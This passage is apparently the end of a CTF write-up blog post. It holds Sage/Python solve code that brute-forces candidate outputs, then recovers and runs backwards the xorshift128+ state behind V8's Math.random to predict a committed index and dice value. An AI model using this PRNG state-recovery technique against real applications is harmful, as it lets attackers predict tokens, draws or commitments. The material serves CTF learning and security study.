    x, y = db[i], db[-1 - i]
    assert x * y == b
    if x < 10^17 and y < 10^17:
        for x_l in range(18 - len(str(x))):
            for y_l in range(18 - len(str(y))):
                xx = float("0." + "0" * x_l + str(x))
                yy = float("0." + "0" * y_l + str(y))
                ddb.append((xx, yy))

print(len(dda), len(ddb))
from tqdm import tqdm
for t_a in tqdm(dda):
    for t_b in ddb:
        targets = list(t_a) + [-1, -1] + list(t_b)
        states = solve_with_targets(targets)
        if states:
            break
    else:
        continue
    break
else:
    print("failed")
    exit(-1)
print("shit!!", states)
exit()
"""
states = {'se_state0': 11306039759072879827, 'se_state1': 15677384870866232290}

def next():
    MASK = 0xFFFFFFFFFFFFFFFF
    s1 = states["se_state0"] & MASK
    s0 = states["se_state1"] & MASK
    s1 ^^= (s1 << 23) & MASK
    s1 ^^= (s1 >> 17) & MASK
    s1 ^^= s0 & MASK
    s1 ^^= (s0 >> 26) & MASK 
    states["se_state0"] = states["se_state1"] & MASK
    states["se_state1"] = s1 & MASK

def back():
    MASK = 0xFFFFFFFFFFFFFFFF
    def reverse17(val):
        return val ^^ (val >> 17) ^^ (val >> 34) ^^ (val >> 51)
    def reverse23(val):
        return (val ^^ (val << 23) ^^ (val << 46)) & MASK
    s1 = states["se_state0"] & MASK
    s0 = (states["se_state1"] ^^ (s1>>26) )& MASK
    s0 = s0 ^^ s1
    s0 = reverse17(s0)
    s0 = reverse23(s0)
    states["se_state0"] = s0 & MASK
    states["se_state1"] = s1 & MASK

def out():
    state0 = states["se_state0"]
    u_long_long_64 = (state0 >> 12) | 0x3FF0000000000000
    float_64 = struct.pack("<Q", u_long_long_64)
    next_sequence = struct.unpack("d", float_64)[0]
    return next_sequence-1

def getrandom():
    next()
    a = str(out()).split('.')[-1]
    next()
    b = str(out()).split('.')[-1]
    return int(a) * int(b)

def commit():
    index = getrandom()
    value = getrandom() % 6
    return index, value

for _ in range(64):
    back()

target_index = 135182080182366803921198814399207
while True:
    index, value = commit()
    if index == target_index:
        break
print(hex(target_index)[2:])
print("answer is", value + 1)

 

 

 

'CTF > writeup-en' 카테고리의 다른 글

Blackhat MEA CTF Quals 2024 - SaqrSign  (0) 2024.09.07
ACSC 2024 Quals writeup  (0) 2024.04.07

+ Recent posts